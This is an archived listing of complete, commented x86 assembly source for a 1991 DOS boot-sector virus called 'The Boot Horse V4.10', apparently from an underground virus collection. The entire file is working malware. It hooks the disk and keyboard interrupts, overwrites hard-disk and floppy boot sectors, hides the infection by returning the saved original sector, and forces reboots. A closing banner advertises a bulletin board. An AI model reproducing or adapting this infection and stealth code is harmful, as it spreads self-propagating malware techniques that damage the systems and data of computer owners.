home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / boot410.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.9 KB  |  258 lines

  1.     .radix 16
  2.  
  3.     ;******************************************
  4.  
  5.     ;                                         *
  6.  
  7.     ;       Code masters LTD. presents:       *
  8.  
  9.     ;         THE BOOT HORSE V4.10            *
  10.  
  11.     ;     Finished on the 25.04.1991.         *
  12.  
  13.     ; This is a boot virus,which does not     *
  14.  
  15.     ; "cuts" memory.It places itself into the *
  16.  
  17.     ; second part of the interrupt table.If   *
  18.  
  19.     ; it is resident you will not be able to  *
  20.  
  21.     ; see the infected boot sector.If you     *
  22.  
  23.     ; press CTRL-ALT-DEL & INT 13h had not    *
  24.  
  25.     ; been changed,drive A: will be infected. *
  26.  
  27.     ; It shows you the message 'Brr...!' with *
  28.  
  29.     ; possibility 1/16.                       *
  30.  
  31.     ;                        Good luck!       *
  32.  
  33.     ;******************************************
  34.  
  35. Start:
  36.  
  37.     cld        ;clear direction
  38.  
  39.     xor    ax,ax    ;clear ax
  40.  
  41.     mov    bp,7c00 ;bp=7c00
  42.  
  43.     mov    ds,ax    ;ds=ax=0
  44.  
  45.     mov    ss,ax    ;ss=ax=0
  46.  
  47.     mov    sp,bp    ;sp=bp=7c00
  48.  
  49.     push    ax    ;save abs. addr. 0000:7c00 in stack for retf
  50.  
  51.     push    bp    ;
  52.  
  53.     xor    di,di    ;clear di
  54.  
  55.     les    bx,[di+9*4]    ;load es:bx with current int 09h
  56.  
  57.     mov    word ptr [bp+old9h-Start],bx    ;save it in a variable
  58.  
  59.     mov    word ptr [bp+old9h-Start+2],es
  60.  
  61.     les    bx,[di+13*4]    ;load es:bx with current int 13h
  62.  
  63.     mov    word ptr [bp+old13h-Start],bx    ;save it in a variable
  64.  
  65.     mov    word ptr [bp+old13h-Start+2],es
  66.  
  67.     mov    ax,0020 ;ax=20
  68.  
  69.     mov    [di+9*4],offset int9h-Start    ;set int 09h
  70.  
  71.     mov    [di+9*4+2],ax
  72.  
  73.     mov    [di+13*4],offset int13h-Start ;set int 13h
  74.  
  75.     mov    [di+13*4+2],ax
  76.  
  77.     mov    es,ax        ;es=ax=20
  78.  
  79.     mov    cx,0200 ;will move 512 bytes
  80.  
  81.     mov    si,bp        ;si=bp=7c00
  82.  
  83.     rep    movsb        ;move to 0020:0000 (vectors)
  84.  
  85.     push    es        ;save es&ax for retf
  86.  
  87.     mov    ax,offset here-Start
  88.  
  89.     push    ax
  90.  
  91.     retf            ;go to 0020:here-Start
  92.  
  93. here:
  94.  
  95.     test    byte ptr [046C],0F    ;show a message with possibility 1/16
  96.  
  97.     jnz    dont
  98.  
  99.     mov    si,offset msg-Start    ;si point the message
  100.  
  101.     mov    cx,endmsg-msg    ;strings to show
  102.  
  103. show_it:
  104.  
  105.     db    26        ;ES:lodsb
  106.  
  107.     lodsb            ;load next char
  108.  
  109.     mov    ah,0e        ;show char
  110.  
  111.     xor    bh,bh
  112.  
  113.     int    10        ;do it
  114.  
  115.     loop    show_it ;show next
  116.  
  117. dont:
  118.  
  119.     xor    ah,ah        ;initialize
  120.  
  121.     int    13
  122.  
  123.     mov    es,cx        ;es=cx=0
  124.  
  125.     xchg    ax,di
  126.  
  127.     inc    ax        ;ax=201 =>read one sector.
  128.  
  129.     mov    bx,bp        ;bx=bp=7c00
  130.  
  131.     inc    cx        ;sector 1,cylinder 0.boot sector
  132.  
  133.     mov    dx,0080 ;dx=0080
  134.  
  135.     cmp    byte ptr cs:[ident-Start],dl    ;if equal=>loading from hdd
  136.  
  137.     je    hard
  138.  
  139.     push    dx        ;save dx
  140.  
  141.     xor    dl,dl        ;drive A:
  142.  
  143.     push    ax        ;save ax
  144.  
  145.     int    13        ;read old bootsector from diskette
  146.  
  147.     pop    ax        ;restore ax=201,read one sector
  148.  
  149.     pop    dx        ;drive C:
  150.  
  151.     mov    bx,0600 ;bx=600
  152.  
  153.     call    ojoj        ;read hdd's boot sector
  154.  
  155.     jc    goout        ;no hdd installed
  156.  
  157.     call    check        ;infected?
  158.  
  159.     je    goout        ;yes ->out!
  160.  
  161.     mov    ax,0301 ;write one sector (save old)
  162.  
  163.     push    ax    ;save ax
  164.  
  165.     mov    cx,0004 ;sector 4,cylinder 0
  166.  
  167.     int    13        ;do it
  168.  
  169.     mov    byte ptr cs:[ident-Start],dl ;set identificator
  170.  
  171.     push    cs        ;es=cs
  172.  
  173.     pop    es
  174.  
  175.     mov    si,07BE ;
  176.  
  177.     mov    di,01BE ;        copy old partition
  178.  
  179.     mov    cx,64d        ;
  180.  
  181.     rep    movsb        ;
  182.  
  183.     pop    ax        ;Write one sector,ax=301
  184.  
  185.     xor    bx,bx        ;from addr ES:BX,bx=0 =>write virus
  186.  
  187.     inc    cx        ;sector 1,cylinder 0.Boot sector.
  188.  
  189. hard:
  190.  
  191.     int    13        ;do it
  192.  
  193. goout:
  194.  
  195.     mov    byte ptr cs:[ident-Start],0    ;set ident
  196.  
  197.     retf                    ;go to 0000:7c00
  198.  
  199. int13h:
  200.  
  201.             ;save ax,ds
  202.  
  203.     push    ax
  204.  
  205.     push    ds
  206.  
  207.     cmp    ah,02    ;function read?
  208.  
  209.     jne    skip
  210.  
  211.     cmp    dl,80    ;drive A,B or C?
  212.  
  213.     ja    skip
  214.  
  215.     cmp    cx,0001 ;
  216.  
  217.     jne    notboot ;gonna read bootsector?
  218.  
  219.     or    dh,dh    ;
  220.  
  221.     jnz    notboot ;
  222.  
  223.     pop    ds    ;restore ax,ds
  224.  
  225.     pop    ax
  226.  
  227.     call    ojoj    ;execute the task
  228.  
  229.     jc    all    ;if error then no sence
  230.  
  231.     pushf        ;save some registers
  232.  
  233.     push    ax
  234.  
  235.     push    cx
  236.  
  237.     push    dx
  238.  
  239.     call    check    ;infected?
  240.  
  241.     jne    notnow
  242.  
  243.     mov    ax,0201
  244.  
  245.     inc    cx    ;if so then make some tricks
  246.  
  247.     inc    cx    ;sector 3,cylinder 0
  248.  
  249.     inc    dh    ;side 1
  250.  
  251.     test    dl,80    ;hdd?
  252.  
  253.     je    dolie    ;if not then
  254.  
  255.     inc    cx    ;sector 4,cylinder 0
  256.  
  257.     dec    dh    ;side 0
  258.  
  259. dolie:
  260.  
  261.     call    ojoj    ;read boot
  262.  
  263. notnow:
  264.  
  265.     pop    dx    ;restore registers
  266.  
  267.     pop    cx
  268.  
  269.     pop    ax
  270.  
  271.     popf
  272.  
  273. all:
  274.  
  275. ;       retf    0002    ;return to caller
  276.  
  277. db    0ca,2,0
  278.  
  279. notboot:
  280.  
  281.     test    dl,80    ;drive=C?
  282.  
  283.     jne    skip    ;if so =>out!
  284.  
  285.     xor    ax,ax    ;clear ax
  286.  
  287.     mov    ds,ax    ;ds=ax=0
  288.  
  289.     mov    al,byte ptr [043F] ;this byte shows whether the motor is active
  290.  
  291.     push    dx    ;save dx
  292.  
  293.     inc    dl    ;adjust dl
  294.  
  295.     test    al,dl    ;check if the motor is active.
  296.  
  297.     pop    dx    ;restore dx
  298.  
  299.     jnz    skip    ;if so =>leave
  300.  
  301.     call    infect    ;infect it
  302.  
  303. skip:
  304.  
  305.     pop    ds    ;restore flags,ax,ds
  306.  
  307.     pop    ax
  308.  
  309. do:
  310.  
  311.         db    0EAh    ;go to the original int 13h
  312.  
  313.     old13h    dd    000h    ;JMP XXXX:XXXX
  314.  
  315. infect:
  316.  
  317.     push    bx    ;save some registers
  318.  
  319.     push    cx
  320.  
  321.     push    dx
  322.  
  323.     push    es
  324.  
  325.     mov    ax,0201 ;will read 1 sector
  326.  
  327.     mov    cx,0001 ;sector 1,cylinder 0
  328.  
  329.     xor    dh,dh    ;side 0
  330.  
  331.     call    ojoj    ;do it
  332.  
  333.     jc    leave    ;on error...
  334.  
  335.     mov    byte ptr cs:[count-Start],36d    ;load counter
  336.  
  337.     call    check    ;infected?
  338.  
  339.     je    leave    ;leave if so.
  340.  
  341.     mov    ax,0301 ;write one sector
  342.  
  343.     inc    cx    ;sector 3,cylinder 0
  344.  
  345.     inc    cx
  346.  
  347.     inc    dh    ;side   1
  348.  
  349.     push    ax    ;save   ax
  350.  
  351.     call    ojoj    ;do write (save old bootsector)
  352.  
  353.     pop    ax    ;restore ax
  354.  
  355.     jc    leave    ;write protected
  356.  
  357.     push    cs    ;es=cs
  358.  
  359.     pop    es
  360.  
  361.     xor    bx,bx    ;write virus
  362.  
  363.     dec    cx    ;make cx=1
  364.  
  365.     dec    cx    ;sector 1,cylinder 0
  366.  
  367.     dec    dh    ;side 0
  368.  
  369.     call    ojoj    ;that's it!
  370.  
  371. leave:
  372.  
  373.     pop    es    ;restore registers
  374.  
  375.     pop    dx
  376.  
  377.     pop    cx
  378.  
  379.     pop    bx
  380.  
  381.     ret        ;return
  382.  
  383. ojoj:
  384.  
  385.     pushf        ;this   calles the original int 13h
  386.  
  387.     push    cs
  388.  
  389.     call    do
  390.  
  391.     ret
  392.  
  393. check:
  394.  
  395.     cmp    es:[bx],31FCh    ;this checks the first 2 bytes
  396.  
  397.     ret            ;to understand if the disk is infected
  398.  
  399. int9h:
  400.  
  401.     push    ax        ;the keybord interrupt.save AX
  402.  
  403.     mov    ah,02        ;check  if ctrl-alt is pressed
  404.  
  405.     int    16        ;
  406.  
  407.     test    al,00001100b    ;if not =>exit
  408.  
  409.     jz    exit
  410.  
  411.     in    al,60        ;is del pressed?
  412.  
  413.     cmp    al,53
  414.  
  415.     je    cont        ;if so...
  416.  
  417. exit:
  418.  
  419.     pop    ax        ;restore ax
  420.  
  421.         db    0EAh    ;go to the old int 09h
  422.  
  423.     old9h    dd    000h    ;JMP XXXX:XXXX
  424.  
  425. cont:
  426.  
  427.     mov    al,20        ;free interrupts
  428.  
  429.     out    20,al        ;do it
  430.  
  431.     mov    ax,0003 ;clear screen
  432.  
  433.     int    10        ;do it
  434.  
  435.     mov    dx,03D8 ;chose video port
  436.  
  437.     mov    al,04        ;video flag
  438.  
  439.     out    dx,al        ;no video
  440.  
  441.     mov    ax,0060 ;es=60
  442.  
  443.     mov    es,ax        ;
  444.  
  445.     xor    bx,bx        ;drive A
  446.  
  447.     xor    dl,dl        ;bx=0
  448.  
  449.     mov    ds,bx        ;dx=bx=0
  450.  
  451.     mov    byte ptr cs:[count-Start],18d ;load counter to 1 sec.
  452.  
  453.     cli                ;set int 1ch
  454.  
  455.     mov    [bx+1c*4],offset int1ch-Start
  456.  
  457.     mov    [bx+1c*4+2],cs
  458.  
  459.     sti
  460.  
  461.     cmp    [bx+13*4],offset int13h-Start ;is int 13h changed?
  462.  
  463.     jne    reset            ;if so reset computer
  464.  
  465.     call    infect            ;infect disk in drive A
  466.  
  467. reset:
  468.  
  469.     xor    bx,bx
  470.  
  471.     mov    ds,bx            ;don't count memory !
  472.  
  473.     mov    [bx+0472],1234
  474.  
  475. ;       JMP     FFFF:0000               ;Reset
  476.  
  477. db    0ea,00,00,0ff,0ff
  478.  
  479. int1ch:
  480.  
  481.     dec    byte ptr cs:[count-Start]    ;decrease counter
  482.  
  483.     jz    reset            ;if zero then reset
  484.  
  485.     iret                ;otherwise continue
  486.  
  487. msg        db    'Brr...!',7,0a,0dh, ;message
  488.  
  489. endmsg        label    word
  490.  
  491. ident        db    0        ;0 for fdd,80 for hdd
  492.  
  493. count        label    byte
  494.  
  495. partition    db    64d    dup (?)
  496.  
  497. bootident    dw    0AA55
  498.  
  499. endcode label word
  500.  
  501.  
  502.  
  503. 
  504.  
  505. ;─────────────────────────────────────────────────────────────────────────;
  506.  
  507. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  508.  
  509. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  510.  
  511. ;─────────────────────────────────────────────────────────────────────────;
  512.  
  513.  
  514.  
  515.